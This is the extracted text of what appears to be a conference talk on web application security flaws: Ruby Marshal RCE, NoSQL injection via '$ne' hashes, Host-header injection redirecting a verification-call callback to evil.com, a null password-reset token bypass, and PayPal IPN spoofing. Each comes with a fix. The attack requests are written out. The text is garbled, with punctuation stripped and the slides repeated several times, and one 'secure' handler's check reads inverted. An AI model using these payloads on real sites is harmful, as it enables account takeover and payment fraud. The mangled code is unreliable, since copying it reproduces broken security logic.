MercadoPago sends a GET request with the purchase ID to the IPN URL then the developer needs to perform a GET request to httpsapimercadopagocom in order to retrieve the transaction details This request is authenticated and any attempts to access transactions from other merchants is denied
ActiveSupportMessageVerifier Marshal RCE
ActiveSupportMessageVerifier uses Rubyrsquos Marshal to serialize
arbitrary information which is then signed using a developer
provided secret A verified message looks like
The message can be decoded
BAhJIhphbmRyZXNAYm9uc2FpLXNlYy5jb20GOgZFVA==--8bacd5cb3e72ed7c457aae1875a61d668438b616
193-p551 006 gt Base64decode64(BAhJIhphbmRyZXNAYm9uc2FpLXNlYy5jb20GOgZFVA==)=gt x04bIx1Aandresbonsai-seccomx06x06ET 193-p551 007 gt Marshalload(Base64decode64(BAhJIhphbmRyZXNAYm9uc2FpLXNlYy5jb20GOgZFVA==))=gt andresbonsai-seccom 193-p551 008 gt
ActiveMessages are signed
When the application receives the signed message it will take the
base64 encoded data and calculate HMAC SHA1 for it using using
the developer controlled secret
The calculated signature must match the one provided with the
message
Once the signature is verified the data is base64 decoded and
Unmarshaled
BAhJIh--8bacd5cb3e72ed7c457aae1875a61d668438b616
Guessable signing secret leads to RCE
Rubyrsquos documentation clearly states that unmarshaling arbitrary data
is insecure and will lead to arbitrary code execution
ActiveSupportMessageVerifier is protected against this vulnerability
by a developer controlled secret Poorly chosen secrets allow
1 Brute-force attack to discover the secret
2 Specially crafted gadgetobject is created serialized and
encoded
3 Secret is used to sign gadget
4 Signed message is sent to the application where it will be
unmarshalled and remote code execution is achieved
Secure ActiveSupportMessageVerifier usage
Choose randomly generated long secrets to sign your messages
Use a different serialization method
verifier = ActiveSupportMessageVerifiernew(long_secret serializer json)
Vulnerabilities are always there
Yoursquore smarter than your tools Let the automation do the grunt work and focus your time on source code review application logic flaws issues specific to the target application etc
Yoursquore smarter than your client Convince them that with the source code yoursquoll be able to identify more vulnerabilities and provide greater ROI
Yoursquore smarter (well actually more trained in security vulnerabilities and risks) than most developers They will make mistakes no matter how good they are
andresbonsai-seccom
w3af
Aggressive input decoding
Ruby on Rails Sinatra and other (ruby) web frameworks perform aggressive input decoding
httpwwwphrackorgpapersattacking_ruby_on_railshtml
post hello doname = params[name]render_response 200 name
POST hello HTTP11Host examplecomContent-Type applicationx-www-form-urlencoded
name=andres
POST hello HTTP11Host examplecomContent-Type applicationjson
name andres
Decode to a Ruby Hash
POST hello HTTP11Host examplecomContent-Type applicationjson
name foo 1
In all previous cases the type of the name variable was a String but we can force it to be a Hash
noSQL ODM introduction
When MongoId ODM (Object Document Mapper) and similar frameworks are in use developers can write code similar to
Which will query the Mongo database and return the first registration flow where the user_id and confirmation_token match
post registrationcomplete doregistration = Registrationwhere(
user_id params[user_id]confirmation_token params[token]
)first
POST registrationcomplete HTTP11Host vulnerablecomContent-Type applicationjson
token dee1303d11814cf70d21a5193030bb8e user_id 3578
noSQL ODM complex queries
Developers can write ldquocomplexrdquo ODM queries using Ruby Hashes as parameters
user = Userswhere(user_id params[user_id]country $ne Argentina)first
users = Userswhere(user_id $in [123 456 789])
Decode to Hash leads to noSQL injection
Itrsquos possible to bypass the token validation
post registrationcomplete doregistration = Registrationwhere(
user_id params[user_id]confirmation_token params[token]
)first
POST registrationcomplete HTTP11Host vulnerablecomContent-Type applicationjson
token $ne nomatch user_id 3578
ldquoUser controlled inputrdquoto_s
Fixing this vulnerability is quick and easy
Most developers will forget to add the to_s and itrsquos easy to miss in a source code review Recommend Sinatra param or similar
get registrationcomplete doregistration = Registrationwhere(
user_id params[user_id]to_sconfirmation_token params[token]to_s
)first
Call me to verify my identity 1
The application requires users to provide a cellphone to verify their identity A phone call is initiated by the application using a service like Twilio the call audio contains a verification code which needs to be input into the application to verify phone ownership
HTTP requestVerify my phone +1 (541) 754-3010
Call me to verify my identity 2
Call +1 (541) 754-3010Send code 357896 in audio
HTTP requestPlease call +1 (541) 754-3010
Audio for the call is available at httpsvulnerablecomaudioltuuid-4gt
HTTP requesthttpsvulnerablecomaudioltuuid-4gt
Call me to verify my identity 3
HTTP requestCode is 357896
HTTP responseWelcome admin
Bypass phone verification
Hacker wants to bypass phone verification ideas
Hack adminrsquos smartphone Hack vulnerablecom Create a raw cellphone tower and sniff adminrsquos phone call Hack Twilio
Hacking vulnerablecom seems to be the easiest path to follow Buthellip what do we need
UUID4
Version 4 UUIDs use a scheme relying only on random numbers thus the audio URLs canrsquot be brute forced
httpsvulnerablecomaudiof47ac10b-58cc-4372-a567-0e02b2c3d479
Zoom into HTTP request to Twilio
HTTP requestPlease call +1 (541) 754-3010
Audio for the call is available at httpsvulnerablecomaudioltuuid-4gt
POST callnew HTTP11Host apitwiliocomContent-Type applicationjsonX-Authentication-Api-Key 2bc67a5
phone_number +1 (541) 754-3010audio_callback httpsvulnerablecomf47ac10b-5
Insecure Twilio API call
HTTP requestPlease call +1 (541) 754-3010
Audio for the call is available at httpsvulnerablecomaudioltuuid-4gt
import requests
def start_call(phone callback_url)requestspost(httpsapitwiliocomcall
data=phone_number phoneaudio_callback callback_url)
hellipaudio_id = generate_audio(requestuser_id)callback_url = httpsss (requesthost audio_id)start_call(request[phone] callback_url)
Change Host header to exploit
HTTP requestVerify my phone +1 (541) 754-3010
POST verify-my-phone HTTP11Host vulnerablecomContent-Type applicationjson
phone_number +1 (541) 754-3010
POST verify-my-phone HTTP11Host evilcomContent-Type applicationjson
phone_number +1 (541) 754-3010
Exploit results in modified callback_url
HTTP requestPlease call +1 (541) 754-3010
Audio for the call is available at httpsevilcomaudioltuuid-4gt
HTTP requesthttpsevilcomaudioltuuid-4gt
HTTP requesthttpsvulnerablecomaudioltuuid-4gt
MUST-HAVE Strict validation for Host header
Make sure that your nginx apache and web frameworks validate the host header before any further code is run
Django has strict host header validation built in using ALLOWED_HOSTS configuration setting
Password reset
Password resets are very sensitive and in some cases insecure The most wanted vulnerability is to be able to reset the password for a user for which we donrsquot have the password reset token
Usually password resets are implemented as follows
User starts a new password reset flow
An email is sent by the application containing a randomly generated token
The token is used to prove that the user has access to the email address and the password is reset
Implementation details
class AddPasswordResetTokenToUser lt ActiveRecordMigrationdef change
add_column users pwd_reset_token string default nilend
end
post start-password-reset douser = Userswhere(email params[email])firsttoken = generate_random_token()userpwd_reset_token = tokenusersavesend_email(useremail token)
post complete-password-reset douser = Userswhere(pwd_reset_token params[token])firstuserpassword = params[new_password]userpwd_reset_token = nilusersave
Token defaults to NULL in the database
POST complete-password-reset HTTP11Host vulnerablecomContent-Type applicationjson
token null new_password l3tm31n
Each time a new user is created his pwd_reset_token field is set to NULL in the database
When the user starts a new password reset flow a randomly generated token is assigned to pwd_reset_token
What if
Safe defaults and strict type validation
post complete-password-reset douser = Userswhere(pwd_reset_token
params[token]to_s)firstuserpassword = params[new_password]userpwd_reset_token = nilusersave
class AddPasswordResetTokenToUser lt ActiveRecordMigrationdef change
add_column users pwd_reset_token stringdefault generate_random_token()
endend
Paypalrsquos Instant Payment Notification
I love payment gateways See my previous talk on this subject
Paypal uses IPN to notify a site that a new payment has been processed and further action such as increasing the user funds in the application should be performed
The developer sets the IPN URL in the merchant account settings at Paypal httpswwwexamplecompaypal-handler
Zoom into Paypalrsquos IPN HTTP request
POST paypal-handler HTTP11Host wwwexamplecomContent-Type applicationx-www-form-urlencoded
mc_gross=1995ampprotection_eligibility=Eligibleampaddress_status=confirmedamppayer_id=LPLWNMTBWMFAYamptax=000ampaddress_street=1+Main+Stamppayment_date=203A123A59+Jan+132C+2009+PSTamppayment_status=Completedampcharset=windows-1252ampaddress_zip=95131ampfirst_name=Testampmc_fee=088ampaddress_country_code=USampaddress_name=Test+Userampnotify_version=26ampcustom=665588975amppayer_status=verifiedampaddress_country=United+Statesampaddress_city=San+Joseampquantity=1ampverify_sign=AtkOfCXbDm2hu0ZELryHFjY-Vb7PAUvS6nMXgysbElEn9v-1XcmSoGtfamppayer_email=gpmac_1231902590_per40paypalcomamptxn_id=61E67681CH3238416amppayment_type=instantamplast_name=Userampaddress_state=CAampreceiver_email=gpmac_1231902686_biz40paypalcomamppayment_fee=088ampreceiver_id=S8XGHLYDW9T3Samptxn_type=express_checkoutampitem_name=ampmc_currency=USDampitem_number=ampresidence_country=USamphandling_amount=000amptransaction_subject=amppayment_gross=1995ampshipping=000
Zoom into Paypalrsquos IPN HTTP request
There are a few important parameters that we need to understand
mc_gross=1995 is the amount paid by the user
custom=665588975 is the userrsquos ID at the merchant application which is sent to Paypal when the user clicks the ldquoPay with Paypalrdquo button in the merchantrsquos site
receiver_email=gpmac_1231902686_biz40paypalcom is the merchantrsquos email address
payment_status=Completed is the payment status
Why does the merchant verify the IPN data
Insecure IPN handler
import requests
PAYPAL_URL = httpswwwpaypalcomcgi-binwebscrcmd=_notify-validate
def handle_paypal_ipn(params) params contains all parameters sent by Paypalresponse = requestspost(PAYPAL_URL data=params)text
if response == VERIFIED The payment is valid at Paypal mark the cart instance as paidcart = Cartget_by_id(params[custom])cartrecord_user_payment(params[mc_gross])cartusersend_thanks_email
elsereturn Error
Insecure IPN handlers - No receiver email check
Insecure IPN handlers - No receiver email check
Attacker needs to perform a special Paypal payment using a target specific custom_id parameter which will associate the spoofed payment with his account
The payment is made from the attackerrsquos credit card to his paypal account Money is still under his control but the attacker will lose Paypalrsquos commission for each transaction
Many example IPN implementations in githubcom are vulnerable I wonder how many were used to create applications which are currently live in production
Secure IPN handler
import requests
PAYPAL_URL = httpswwwpaypalcomcgi-binwebscrcmd=_notify-validateMERCHANT_PAYPAL_USER = foobarcom
def handle_paypal_ipn(params)if params[receiver_email] == MERCHANT_PAYPAL_USER
return Error
params contains all parameters sent by Paypalresponse = requestspost(PAYPAL_URL data=params)text
if response == VERIFIED The payment is valid at Paypal mark the cart instance as paidcart = Cartget_by_id(params[custom])cartrecord_user_payment(params[mc_gross])cartusersend_thanks_email
elsereturn Error
Is this Paypalrsquos fault
Are all payment gateways vulnerable
MercadoPago implemented a different communication protocol for their IPN Their protocol is much better than Paypalrsquos since it doesnrsquot rely on the developerrsquos IPN handler implementation to provide security
MercadoPago sends a GET request with the purchase ID to the IPN URL then the developer needs to perform a GET request to httpsapimercadopagocom in order to retrieve the transaction details This request is authenticated and any attempts to access transactions from other merchants is denied
ActiveSupportMessageVerifier Marshal RCE
ActiveSupportMessageVerifier uses Rubyrsquos Marshal to serialize
arbitrary information which is then signed using a developer
provided secret A verified message looks like
The message can be decoded
BAhJIhphbmRyZXNAYm9uc2FpLXNlYy5jb20GOgZFVA==--8bacd5cb3e72ed7c457aae1875a61d668438b616
193-p551 006 gt Base64decode64(BAhJIhphbmRyZXNAYm9uc2FpLXNlYy5jb20GOgZFVA==)=gt x04bIx1Aandresbonsai-seccomx06x06ET 193-p551 007 gt Marshalload(Base64decode64(BAhJIhphbmRyZXNAYm9uc2FpLXNlYy5jb20GOgZFVA==))=gt andresbonsai-seccom 193-p551 008 gt
ActiveMessages are signed
When the application receives the signed message it will take the
base64 encoded data and calculate HMAC SHA1 for it using using
the developer controlled secret
The calculated signature must match the one provided with the
message
Once the signature is verified the data is base64 decoded and
Unmarshaled
BAhJIh--8bacd5cb3e72ed7c457aae1875a61d668438b616
Guessable signing secret leads to RCE
Rubyrsquos documentation clearly states that unmarshaling arbitrary data
is insecure and will lead to arbitrary code execution
ActiveSupportMessageVerifier is protected against this vulnerability
by a developer controlled secret Poorly chosen secrets allow
1 Brute-force attack to discover the secret
2 Specially crafted gadgetobject is created serialized and
encoded
3 Secret is used to sign gadget
4 Signed message is sent to the application where it will be
unmarshalled and remote code execution is achieved
Secure ActiveSupportMessageVerifier usage
Choose randomly generated long secrets to sign your messages
Use a different serialization method
verifier = ActiveSupportMessageVerifiernew(long_secret serializer json)
Vulnerabilities are always there
Yoursquore smarter than your tools Let the automation do the grunt work and focus your time on source code review application logic flaws issues specific to the target application etc
Yoursquore smarter than your client Convince them that with the source code yoursquoll be able to identify more vulnerabilities and provide greater ROI
Yoursquore smarter (well actually more trained in security vulnerabilities and risks) than most developers They will make mistakes no matter how good they are
andresbonsai-seccom
w3af
Decode to a Ruby Hash
POST hello HTTP11Host examplecomContent-Type applicationjson
name foo 1
In all previous cases the type of the name variable was a String but we can force it to be a Hash
noSQL ODM introduction
When MongoId ODM (Object Document Mapper) and similar frameworks are in use developers can write code similar to
Which will query the Mongo database and return the first registration flow where the user_id and confirmation_token match
post registrationcomplete doregistration = Registrationwhere(
user_id params[user_id]confirmation_token params[token]
)first
POST registrationcomplete HTTP11Host vulnerablecomContent-Type applicationjson
token dee1303d11814cf70d21a5193030bb8e user_id 3578
noSQL ODM complex queries
Developers can write ldquocomplexrdquo ODM queries using Ruby Hashes as parameters
user = Userswhere(user_id params[user_id]country $ne Argentina)first
users = Userswhere(user_id $in [123 456 789])
Decode to Hash leads to noSQL injection
Itrsquos possible to bypass the token validation
post registrationcomplete doregistration = Registrationwhere(
user_id params[user_id]confirmation_token params[token]
)first
POST registrationcomplete HTTP11Host vulnerablecomContent-Type applicationjson
token $ne nomatch user_id 3578
ldquoUser controlled inputrdquoto_s
Fixing this vulnerability is quick and easy
Most developers will forget to add the to_s and itrsquos easy to miss in a source code review Recommend Sinatra param or similar
get registrationcomplete doregistration = Registrationwhere(
user_id params[user_id]to_sconfirmation_token params[token]to_s
)first
Call me to verify my identity 1
The application requires users to provide a cellphone to verify their identity A phone call is initiated by the application using a service like Twilio the call audio contains a verification code which needs to be input into the application to verify phone ownership
HTTP requestVerify my phone +1 (541) 754-3010
Call me to verify my identity 2
Call +1 (541) 754-3010Send code 357896 in audio
HTTP requestPlease call +1 (541) 754-3010
Audio for the call is available at httpsvulnerablecomaudioltuuid-4gt
HTTP requesthttpsvulnerablecomaudioltuuid-4gt
Call me to verify my identity 3
HTTP requestCode is 357896
HTTP responseWelcome admin
Bypass phone verification
Hacker wants to bypass phone verification ideas
Hack adminrsquos smartphone Hack vulnerablecom Create a raw cellphone tower and sniff adminrsquos phone call Hack Twilio
Hacking vulnerablecom seems to be the easiest path to follow Buthellip what do we need
UUID4
Version 4 UUIDs use a scheme relying only on random numbers thus the audio URLs canrsquot be brute forced
httpsvulnerablecomaudiof47ac10b-58cc-4372-a567-0e02b2c3d479
Zoom into HTTP request to Twilio
HTTP requestPlease call +1 (541) 754-3010
Audio for the call is available at httpsvulnerablecomaudioltuuid-4gt
POST callnew HTTP11Host apitwiliocomContent-Type applicationjsonX-Authentication-Api-Key 2bc67a5
phone_number +1 (541) 754-3010audio_callback httpsvulnerablecomf47ac10b-5
Insecure Twilio API call
HTTP requestPlease call +1 (541) 754-3010
Audio for the call is available at httpsvulnerablecomaudioltuuid-4gt
import requests
def start_call(phone callback_url)requestspost(httpsapitwiliocomcall
data=phone_number phoneaudio_callback callback_url)
hellipaudio_id = generate_audio(requestuser_id)callback_url = httpsss (requesthost audio_id)start_call(request[phone] callback_url)
Change Host header to exploit
HTTP requestVerify my phone +1 (541) 754-3010
POST verify-my-phone HTTP11Host vulnerablecomContent-Type applicationjson
phone_number +1 (541) 754-3010
POST verify-my-phone HTTP11Host evilcomContent-Type applicationjson
phone_number +1 (541) 754-3010
Exploit results in modified callback_url
HTTP requestPlease call +1 (541) 754-3010
Audio for the call is available at httpsevilcomaudioltuuid-4gt
HTTP requesthttpsevilcomaudioltuuid-4gt
HTTP requesthttpsvulnerablecomaudioltuuid-4gt
MUST-HAVE Strict validation for Host header
Make sure that your nginx apache and web frameworks validate the host header before any further code is run
Django has strict host header validation built in using ALLOWED_HOSTS configuration setting
Password reset
Password resets are very sensitive and in some cases insecure The most wanted vulnerability is to be able to reset the password for a user for which we donrsquot have the password reset token
Usually password resets are implemented as follows
User starts a new password reset flow
An email is sent by the application containing a randomly generated token
The token is used to prove that the user has access to the email address and the password is reset
Implementation details
class AddPasswordResetTokenToUser lt ActiveRecordMigrationdef change
add_column users pwd_reset_token string default nilend
end
post start-password-reset douser = Userswhere(email params[email])firsttoken = generate_random_token()userpwd_reset_token = tokenusersavesend_email(useremail token)
post complete-password-reset douser = Userswhere(pwd_reset_token params[token])firstuserpassword = params[new_password]userpwd_reset_token = nilusersave
Token defaults to NULL in the database
POST complete-password-reset HTTP11Host vulnerablecomContent-Type applicationjson
token null new_password l3tm31n
Each time a new user is created his pwd_reset_token field is set to NULL in the database
When the user starts a new password reset flow a randomly generated token is assigned to pwd_reset_token
What if
Safe defaults and strict type validation
post complete-password-reset douser = Userswhere(pwd_reset_token
params[token]to_s)firstuserpassword = params[new_password]userpwd_reset_token = nilusersave
class AddPasswordResetTokenToUser lt ActiveRecordMigrationdef change
add_column users pwd_reset_token stringdefault generate_random_token()
endend
Paypalrsquos Instant Payment Notification
I love payment gateways See my previous talk on this subject
Paypal uses IPN to notify a site that a new payment has been processed and further action such as increasing the user funds in the application should be performed
The developer sets the IPN URL in the merchant account settings at Paypal httpswwwexamplecompaypal-handler
Zoom into Paypalrsquos IPN HTTP request
POST paypal-handler HTTP11Host wwwexamplecomContent-Type applicationx-www-form-urlencoded
mc_gross=1995ampprotection_eligibility=Eligibleampaddress_status=confirmedamppayer_id=LPLWNMTBWMFAYamptax=000ampaddress_street=1+Main+Stamppayment_date=203A123A59+Jan+132C+2009+PSTamppayment_status=Completedampcharset=windows-1252ampaddress_zip=95131ampfirst_name=Testampmc_fee=088ampaddress_country_code=USampaddress_name=Test+Userampnotify_version=26ampcustom=665588975amppayer_status=verifiedampaddress_country=United+Statesampaddress_city=San+Joseampquantity=1ampverify_sign=AtkOfCXbDm2hu0ZELryHFjY-Vb7PAUvS6nMXgysbElEn9v-1XcmSoGtfamppayer_email=gpmac_1231902590_per40paypalcomamptxn_id=61E67681CH3238416amppayment_type=instantamplast_name=Userampaddress_state=CAampreceiver_email=gpmac_1231902686_biz40paypalcomamppayment_fee=088ampreceiver_id=S8XGHLYDW9T3Samptxn_type=express_checkoutampitem_name=ampmc_currency=USDampitem_number=ampresidence_country=USamphandling_amount=000amptransaction_subject=amppayment_gross=1995ampshipping=000
Zoom into Paypalrsquos IPN HTTP request
There are a few important parameters that we need to understand
mc_gross=1995 is the amount paid by the user
custom=665588975 is the userrsquos ID at the merchant application which is sent to Paypal when the user clicks the ldquoPay with Paypalrdquo button in the merchantrsquos site
receiver_email=gpmac_1231902686_biz40paypalcom is the merchantrsquos email address
payment_status=Completed is the payment status
Why does the merchant verify the IPN data
Insecure IPN handler
import requests
PAYPAL_URL = httpswwwpaypalcomcgi-binwebscrcmd=_notify-validate
def handle_paypal_ipn(params) params contains all parameters sent by Paypalresponse = requestspost(PAYPAL_URL data=params)text
if response == VERIFIED The payment is valid at Paypal mark the cart instance as paidcart = Cartget_by_id(params[custom])cartrecord_user_payment(params[mc_gross])cartusersend_thanks_email
elsereturn Error
Insecure IPN handlers - No receiver email check
Insecure IPN handlers - No receiver email check
Attacker needs to perform a special Paypal payment using a target specific custom_id parameter which will associate the spoofed payment with his account
The payment is made from the attackerrsquos credit card to his paypal account Money is still under his control but the attacker will lose Paypalrsquos commission for each transaction
Many example IPN implementations in githubcom are vulnerable I wonder how many were used to create applications which are currently live in production
Secure IPN handler
import requests
PAYPAL_URL = httpswwwpaypalcomcgi-binwebscrcmd=_notify-validateMERCHANT_PAYPAL_USER = foobarcom
def handle_paypal_ipn(params)if params[receiver_email] == MERCHANT_PAYPAL_USER
return Error
params contains all parameters sent by Paypalresponse = requestspost(PAYPAL_URL data=params)text
if response == VERIFIED The payment is valid at Paypal mark the cart instance as paidcart = Cartget_by_id(params[custom])cartrecord_user_payment(params[mc_gross])cartusersend_thanks_email
elsereturn Error
Is this Paypalrsquos fault
Are all payment gateways vulnerable
MercadoPago implemented a different communication protocol for their IPN Their protocol is much better than Paypalrsquos since it doesnrsquot rely on the developerrsquos IPN handler implementation to provide security
MercadoPago sends a GET request with the purchase ID to the IPN URL then the developer needs to perform a GET request to httpsapimercadopagocom in order to retrieve the transaction details This request is authenticated and any attempts to access transactions from other merchants is denied
ActiveSupportMessageVerifier Marshal RCE
ActiveSupportMessageVerifier uses Rubyrsquos Marshal to serialize
arbitrary information which is then signed using a developer
provided secret A verified message looks like
The message can be decoded
BAhJIhphbmRyZXNAYm9uc2FpLXNlYy5jb20GOgZFVA==--8bacd5cb3e72ed7c457aae1875a61d668438b616
193-p551 006 gt Base64decode64(BAhJIhphbmRyZXNAYm9uc2FpLXNlYy5jb20GOgZFVA==)=gt x04bIx1Aandresbonsai-seccomx06x06ET 193-p551 007 gt Marshalload(Base64decode64(BAhJIhphbmRyZXNAYm9uc2FpLXNlYy5jb20GOgZFVA==))=gt andresbonsai-seccom 193-p551 008 gt
ActiveMessages are signed
When the application receives the signed message it will take the
base64 encoded data and calculate HMAC SHA1 for it using using
the developer controlled secret
The calculated signature must match the one provided with the
message
Once the signature is verified the data is base64 decoded and
Unmarshaled
BAhJIh--8bacd5cb3e72ed7c457aae1875a61d668438b616
Guessable signing secret leads to RCE
Rubyrsquos documentation clearly states that unmarshaling arbitrary data
is insecure and will lead to arbitrary code execution
ActiveSupportMessageVerifier is protected against this vulnerability
by a developer controlled secret Poorly chosen secrets allow
1 Brute-force attack to discover the secret
2 Specially crafted gadgetobject is created serialized and
encoded
3 Secret is used to sign gadget
4 Signed message is sent to the application where it will be
unmarshalled and remote code execution is achieved
Secure ActiveSupportMessageVerifier usage
Choose randomly generated long secrets to sign your messages
Use a different serialization method
verifier = ActiveSupportMessageVerifiernew(long_secret serializer json)
Vulnerabilities are always there
Yoursquore smarter than your tools Let the automation do the grunt work and focus your time on source code review application logic flaws issues specific to the target application etc
Yoursquore smarter than your client Convince them that with the source code yoursquoll be able to identify more vulnerabilities and provide greater ROI
Yoursquore smarter (well actually more trained in security vulnerabilities and risks) than most developers They will make mistakes no matter how good they are
andresbonsai-seccom
w3af
noSQL ODM introduction
When MongoId ODM (Object Document Mapper) and similar frameworks are in use developers can write code similar to
Which will query the Mongo database and return the first registration flow where the user_id and confirmation_token match
post registrationcomplete doregistration = Registrationwhere(
user_id params[user_id]confirmation_token params[token]
)first
POST registrationcomplete HTTP11Host vulnerablecomContent-Type applicationjson
token dee1303d11814cf70d21a5193030bb8e user_id 3578
noSQL ODM complex queries
Developers can write ldquocomplexrdquo ODM queries using Ruby Hashes as parameters
user = Userswhere(user_id params[user_id]country $ne Argentina)first
users = Userswhere(user_id $in [123 456 789])
Decode to Hash leads to noSQL injection
Itrsquos possible to bypass the token validation
post registrationcomplete doregistration = Registrationwhere(
user_id params[user_id]confirmation_token params[token]
)first
POST registrationcomplete HTTP11Host vulnerablecomContent-Type applicationjson
token $ne nomatch user_id 3578
ldquoUser controlled inputrdquoto_s
Fixing this vulnerability is quick and easy
Most developers will forget to add the to_s and itrsquos easy to miss in a source code review Recommend Sinatra param or similar
get registrationcomplete doregistration = Registrationwhere(
user_id params[user_id]to_sconfirmation_token params[token]to_s
)first
Call me to verify my identity 1
The application requires users to provide a cellphone to verify their identity A phone call is initiated by the application using a service like Twilio the call audio contains a verification code which needs to be input into the application to verify phone ownership
HTTP requestVerify my phone +1 (541) 754-3010
Call me to verify my identity 2
Call +1 (541) 754-3010Send code 357896 in audio
HTTP requestPlease call +1 (541) 754-3010
Audio for the call is available at httpsvulnerablecomaudioltuuid-4gt
HTTP requesthttpsvulnerablecomaudioltuuid-4gt
Call me to verify my identity 3
HTTP requestCode is 357896
HTTP responseWelcome admin
Bypass phone verification
Hacker wants to bypass phone verification ideas
Hack adminrsquos smartphone Hack vulnerablecom Create a raw cellphone tower and sniff adminrsquos phone call Hack Twilio
Hacking vulnerablecom seems to be the easiest path to follow Buthellip what do we need
UUID4
Version 4 UUIDs use a scheme relying only on random numbers thus the audio URLs canrsquot be brute forced
httpsvulnerablecomaudiof47ac10b-58cc-4372-a567-0e02b2c3d479
Zoom into HTTP request to Twilio
HTTP requestPlease call +1 (541) 754-3010
Audio for the call is available at httpsvulnerablecomaudioltuuid-4gt
POST callnew HTTP11Host apitwiliocomContent-Type applicationjsonX-Authentication-Api-Key 2bc67a5
phone_number +1 (541) 754-3010audio_callback httpsvulnerablecomf47ac10b-5
Insecure Twilio API call
HTTP requestPlease call +1 (541) 754-3010
Audio for the call is available at httpsvulnerablecomaudioltuuid-4gt
import requests
def start_call(phone callback_url)requestspost(httpsapitwiliocomcall
data=phone_number phoneaudio_callback callback_url)
hellipaudio_id = generate_audio(requestuser_id)callback_url = httpsss (requesthost audio_id)start_call(request[phone] callback_url)
Change Host header to exploit
HTTP requestVerify my phone +1 (541) 754-3010
POST verify-my-phone HTTP11Host vulnerablecomContent-Type applicationjson
phone_number +1 (541) 754-3010
POST verify-my-phone HTTP11Host evilcomContent-Type applicationjson
phone_number +1 (541) 754-3010
Exploit results in modified callback_url
HTTP requestPlease call +1 (541) 754-3010
Audio for the call is available at httpsevilcomaudioltuuid-4gt
HTTP requesthttpsevilcomaudioltuuid-4gt
HTTP requesthttpsvulnerablecomaudioltuuid-4gt
MUST-HAVE Strict validation for Host header
Make sure that your nginx apache and web frameworks validate the host header before any further code is run
Django has strict host header validation built in using ALLOWED_HOSTS configuration setting
Password reset
Password resets are very sensitive and in some cases insecure The most wanted vulnerability is to be able to reset the password for a user for which we donrsquot have the password reset token
Usually password resets are implemented as follows
User starts a new password reset flow
An email is sent by the application containing a randomly generated token
The token is used to prove that the user has access to the email address and the password is reset
Implementation details
class AddPasswordResetTokenToUser lt ActiveRecordMigrationdef change
add_column users pwd_reset_token string default nilend
end
post start-password-reset douser = Userswhere(email params[email])firsttoken = generate_random_token()userpwd_reset_token = tokenusersavesend_email(useremail token)
post complete-password-reset douser = Userswhere(pwd_reset_token params[token])firstuserpassword = params[new_password]userpwd_reset_token = nilusersave
Token defaults to NULL in the database
POST complete-password-reset HTTP11Host vulnerablecomContent-Type applicationjson
token null new_password l3tm31n
Each time a new user is created his pwd_reset_token field is set to NULL in the database
When the user starts a new password reset flow a randomly generated token is assigned to pwd_reset_token
What if
Safe defaults and strict type validation
post complete-password-reset douser = Userswhere(pwd_reset_token
params[token]to_s)firstuserpassword = params[new_password]userpwd_reset_token = nilusersave
class AddPasswordResetTokenToUser lt ActiveRecordMigrationdef change
add_column users pwd_reset_token stringdefault generate_random_token()
endend
Paypalrsquos Instant Payment Notification
I love payment gateways See my previous talk on this subject
Paypal uses IPN to notify a site that a new payment has been processed and further action such as increasing the user funds in the application should be performed
The developer sets the IPN URL in the merchant account settings at Paypal httpswwwexamplecompaypal-handler
Zoom into Paypalrsquos IPN HTTP request
POST paypal-handler HTTP11Host wwwexamplecomContent-Type applicationx-www-form-urlencoded
mc_gross=1995ampprotection_eligibility=Eligibleampaddress_status=confirmedamppayer_id=LPLWNMTBWMFAYamptax=000ampaddress_street=1+Main+Stamppayment_date=203A123A59+Jan+132C+2009+PSTamppayment_status=Completedampcharset=windows-1252ampaddress_zip=95131ampfirst_name=Testampmc_fee=088ampaddress_country_code=USampaddress_name=Test+Userampnotify_version=26ampcustom=665588975amppayer_status=verifiedampaddress_country=United+Statesampaddress_city=San+Joseampquantity=1ampverify_sign=AtkOfCXbDm2hu0ZELryHFjY-Vb7PAUvS6nMXgysbElEn9v-1XcmSoGtfamppayer_email=gpmac_1231902590_per40paypalcomamptxn_id=61E67681CH3238416amppayment_type=instantamplast_name=Userampaddress_state=CAampreceiver_email=gpmac_1231902686_biz40paypalcomamppayment_fee=088ampreceiver_id=S8XGHLYDW9T3Samptxn_type=express_checkoutampitem_name=ampmc_currency=USDampitem_number=ampresidence_country=USamphandling_amount=000amptransaction_subject=amppayment_gross=1995ampshipping=000
Zoom into Paypalrsquos IPN HTTP request
There are a few important parameters that we need to understand
mc_gross=1995 is the amount paid by the user
custom=665588975 is the userrsquos ID at the merchant application which is sent to Paypal when the user clicks the ldquoPay with Paypalrdquo button in the merchantrsquos site
receiver_email=gpmac_1231902686_biz40paypalcom is the merchantrsquos email address
payment_status=Completed is the payment status
Why does the merchant verify the IPN data
Insecure IPN handler
import requests
PAYPAL_URL = httpswwwpaypalcomcgi-binwebscrcmd=_notify-validate
def handle_paypal_ipn(params) params contains all parameters sent by Paypalresponse = requestspost(PAYPAL_URL data=params)text
if response == VERIFIED The payment is valid at Paypal mark the cart instance as paidcart = Cartget_by_id(params[custom])cartrecord_user_payment(params[mc_gross])cartusersend_thanks_email
elsereturn Error
Insecure IPN handlers - No receiver email check
Insecure IPN handlers - No receiver email check
Attacker needs to perform a special Paypal payment using a target specific custom_id parameter which will associate the spoofed payment with his account
The payment is made from the attackerrsquos credit card to his paypal account Money is still under his control but the attacker will lose Paypalrsquos commission for each transaction
Many example IPN implementations in githubcom are vulnerable I wonder how many were used to create applications which are currently live in production
Secure IPN handler
import requests
PAYPAL_URL = httpswwwpaypalcomcgi-binwebscrcmd=_notify-validateMERCHANT_PAYPAL_USER = foobarcom
def handle_paypal_ipn(params)if params[receiver_email] == MERCHANT_PAYPAL_USER
return Error
params contains all parameters sent by Paypalresponse = requestspost(PAYPAL_URL data=params)text
if response == VERIFIED The payment is valid at Paypal mark the cart instance as paidcart = Cartget_by_id(params[custom])cartrecord_user_payment(params[mc_gross])cartusersend_thanks_email
elsereturn Error
Is this Paypalrsquos fault
Are all payment gateways vulnerable
MercadoPago implemented a different communication protocol for their IPN Their protocol is much better than Paypalrsquos since it doesnrsquot rely on the developerrsquos IPN handler implementation to provide security
MercadoPago sends a GET request with the purchase ID to the IPN URL then the developer needs to perform a GET request to httpsapimercadopagocom in order to retrieve the transaction details This request is authenticated and any attempts to access transactions from other merchants is denied
ActiveSupportMessageVerifier Marshal RCE
ActiveSupportMessageVerifier uses Rubyrsquos Marshal to serialize
arbitrary information which is then signed using a developer
provided secret A verified message looks like
The message can be decoded
BAhJIhphbmRyZXNAYm9uc2FpLXNlYy5jb20GOgZFVA==--8bacd5cb3e72ed7c457aae1875a61d668438b616
